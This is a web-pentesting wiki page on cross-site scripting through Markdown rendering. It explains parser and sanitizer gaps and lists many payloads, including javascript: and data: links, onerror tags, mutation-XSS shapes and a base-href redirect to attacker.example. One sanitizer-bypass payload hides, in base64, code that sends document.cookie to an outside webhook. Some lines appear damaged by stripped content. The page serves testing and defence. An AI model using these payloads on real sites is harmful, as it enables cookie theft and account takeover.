xss-in-markdown.md (13942B)
1 --- 2 title: "XSS in Markdown" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # XSS in Markdown 14 15 If attacker-controlled Markdown is rendered as HTML, test whether the parser and sanitizer combination allows XSS. Behavior varies by implementation and configuration; CommonMark permits raw HTML unless the application disables or sanitizes it.<sup>[[2]](#references)</sup> 16 17 ### HTML tags 18 19 The most direct case is raw HTML accepted by the Markdown parser and passed to the browser without appropriate sanitization.<sup>[[2]](#references)</sup><sup>[[3]](#references)</sup> 20 21 ```html 22 <!-- XSS with regular tags --> 23 <script> 24 alert(1) 25 </script> 26 <img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/x" onerror="alert(1)" /> 27 ``` 28 29 You can find more examples in the [main XSS page of hacktricks](/hacktricks/pentesting-web/xss-cross-site-scripting/overview). 30 31 ### Javascript links 32 33 If raw HTML is blocked, test how the renderer validates link destinations and dangerous URL schemes:<sup>[[3]](#references)</sup> 34 35 ```html 36 <!-- markdow link to XSS, this usually always work but it requires interaction --> 37 [a](javascript:prompt(document.cookie)) 38 39 <!-- Other links attacks with some bypasses --> 40 [Basic](javascript:alert('Basic')) [Local 41 Storage](javascript:alert(JSON.stringify(localStorage))) 42 [CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive')) 43 [URL](javascript://www.google.com%0Aalert('URL')) [In 44 Quotes]('javascript:alert("InQuotes")') [a](j a v a s c r i p 45 t:prompt(document.cookie)) 46 [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) 47 [a](javascript:window.onerror=alert;throw%201) 48 ``` 49 50 ### Img event syntax abuse 51 52 ```markdown 53  54 ![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>) 55 ![Escape SRC - onload](<https://www.example.com/image.png"onload="alert('ImageOnLoad')>) 56  57 ``` 58 59 ### HTML Sanitiser Markdown Bypass 60 61 The following code **sanitises the attacker-controlled Markdown source before parsing it**. This order is unsafe: the Markdown parser runs after the security boundary and can create executable HTML that DOMPurify never inspected.<sup>[[1]](#references)</sup> 62 63 ```html 64 <!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e --> 65 <script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script> 66 <script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script> 67 <script> 68 const qs = new URLSearchParams(location.search) 69 if (qs.get("content")?.length > 0) { 70 document.body.innerHTML = marked.parse( 71 DOMPurify.sanitize(qs.get("content")) 72 ) 73 } 74 </script> 75 ``` 76 77 Payload examples:<sup>[[1]](#references)</sup> 78 79 ```html 80 <div 81 id="1 82 83 //index.html)"> 84 ----------------------------------------------- 85 <a 86 title="a 87 88 <img src=x onerror=alert(1)>" 89 >yep</a 90 > 91 ------------------------------------------------ [x](y '<style> 92 ')<!-- 93 </style> 94 <div id="x--><img src=1 onerror=alert(1)>"></div> 95 ---------------------------------------------- [ 96 <p 97 x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#"></p> 98 ) ---------------------------------------------- ` 99 <p x="`<img src=x onerror=alert(1)>"></p> 100 </div> 101 ``` 102 103 ### Test the final DOM: mutation XSS 104 105 Treat Markdown rendering as a chain of interpreters: **Markdown/extensions → HTML → sanitizer → serialization → browser sink**. Capture every intermediate representation and inspect the live DOM after insertion. A sanitizer can approve one tree, while browser error recovery creates a different tree after serialization and reparsing (mXSS). High-value probes mix malformed markup with HTML/SVG/MathML namespace transitions, raw-text elements, and very deep nesting; checking the sanitized string for `onerror` is not enough.<sup>[[4]](#references)</sup> 106 107 ```html 108 <svg></p><style><a id="</style><img src=x onerror=alert(1)>"></svg> 109 <math><mtext><table><mglyph><style><img src=x onerror=alert(1)> 110 ``` 111 112 Use these as **pipeline regression shapes**, not universal payloads: the result depends on the Markdown engine, enabled extensions, sanitizer version/configuration, DOM implementation, and final sink. In a real browser, compare `renderer(markdown)`, `sanitizer(renderedHTML)`, and `sink.innerHTML`; then enumerate element namespaces, event-handler attributes, and resolved `href`/`src` properties in the final DOM.<sup>[[4]](#references)</sup> 113 114 ### Base-URL rewriting 115 116 A filter can reject event handlers and dangerous URL schemes yet still allow document-wide metadata. If raw HTML survives, test whether an injected `<base>` changes how later relative resources are resolved. A 2025 Nuxt MDC issue demonstrated this parser-policy gap: validation covered ordinary `href`/`src` properties but failed to reject the `base` element, allowing a relative script URL to be redirected to an attacker origin.<sup>[[5]](#references)</sup> 117 118 ```html 119 <base href="https://attacker.example/"> 120 <script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//xss.js"></script> 121 ``` 122 123 The chain requires a subsequent relative resource that the renderer allows and CSP does not block. Also watch browser traffic after rendering: lazy-loaded scripts, styles, and images may resolve only after the Markdown has already altered the document base URL.<sup>[[5]](#references)</sup> 124 125 ### Gopher 126 127 Some server-side Markdown renderers fetch linked resources. If a renderer supports `gopher://`, this can become an SSRF primitive capable of sending crafted bytes to internal services; browser-only Markdown rendering does not provide this behavior. 128 129 ```text 130  131 ``` 132 133 ### Fuzzing 134 135 ```html 136 <!-- 137 Fuzzing examples from 138 - [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt) 139 - [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields) 140 --> 141 142 [a](javascript:prompt(document.cookie)) 143 [a](j a v a s c r i p t:prompt(document.cookie)) 144 )\ 145 <javascript:prompt(document.cookie)> 146 <javascript:alert('XSS')> 147 \ 148 [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) 149 [a](javascript:alert('XSS')) 150 \ 151 [citelol]: (javascript:prompt(document.cookie)) 152 [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) 153 [test](javascript://%0d%0aprompt(1)) 154 [test](javascript://%0d%0aprompt(1);com) 155 [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) 156 [notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie) 157 [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) 158 [clickme](vbscript:alert(document.domain)) 159 _http://danlec_@.1 style=background-image:url();background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);// 160 <http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>> 161 [text](http://danlec.com " [@danlec](/danlec) ") 162 [a](javascript:this;alert(1)) 163 [a](javascript:this;alert(1)) 164 [a](javascript:this;alert(1)) 165 [a](Javascript:alert(1)) 166 [a](Javas%26%2399;ript:alert(1)) 167 [a](javascript:alert(1)) 168 [a](javascript:confirm(1) 169 [a](javascript://www.google.com%0Aprompt(1)) 170 [a](javascript://%0d%0aconfirm(1);com) 171 [a](javascript:window.onerror=confirm;throw%201) 172 [a](javascript:alert(document.domain)) 173 [a](javascript://www.google.com%0Aalert(1)) 174 [a]('javascript:alert("1")') 175 [a](JaVaScRiPt:alert(1)) 176 ![a](https://www.google.com/image.png"onload="alert(1)) 177 ) 178 </http://<?php\><\h1\><script:script>confirm(2) 179 [XSS](.alert(1);) 180 [ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]]) 181 [ ](http://a?p=[[/onclick=alert(0) .]]) 182 [a](javascript:new%20Function`al\ert\`1\``;) 183 [XSS](javascript:prompt(document.cookie)) 184 [XSS](j a v a s c r i p t:prompt(document.cookie)) 185 [XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) 186 [XSS](javascript:alert('XSS')) 187 [XSS]: (javascript:prompt(document.cookie)) 188 [XSS](javascript:window.onerror=alert;throw%20document.cookie) 189 [XSS](javascript://%0d%0aprompt(1)) 190 [XSS](javascript://%0d%0aprompt(1);com) 191 [XSS](javascript:window.onerror=alert;throw%20document.cookie) 192 [XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie) 193 [XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) 194 [XSS](vbscript:alert(document.domain)) 195 [XSS](javascript:this;alert(1)) 196 [XSS](javascript:this;alert(1)) 197 [XSS](javascript:this;alert(1)) 198 [XSS](Javascript:alert(1)) 199 [XSS](Javas%26%2399;ript:alert(1)) 200 [XSS](javascript:alert(1)) 201 [XSS](javascript:confirm(1) 202 [XSS](javascript://www.google.com%0Aprompt(1)) 203 [XSS](javascript://%0d%0aconfirm(1);com) 204 [XSS](javascript:window.onerror=confirm;throw%201) 205 [XSS](�javascript:alert(document.domain)) 206 )\ 207 \ 208 \ 209 ``` 210 211 212 ## References 213 214 - [1] [Clique Writeup - ångstromCTF 2022](https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e) 215 - [2] [CommonMark specification – Raw HTML](https://spec.commonmark.org/0.31.2/#raw-html) 216 - [3] [OWASP – Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) 217 - [4] [DOMPurify – Attack Classes & Bypass History](https://github.com/cure53/DOMPurify/wiki/Attack-Classes-&-Bypass-History) 218 - [5] [Nuxt MDC – XSS in markdown rendering bypassing HTML filter](https://github.com/nuxt-content/mdc/security/advisories/GHSA-cj6r-rrr9-fg82)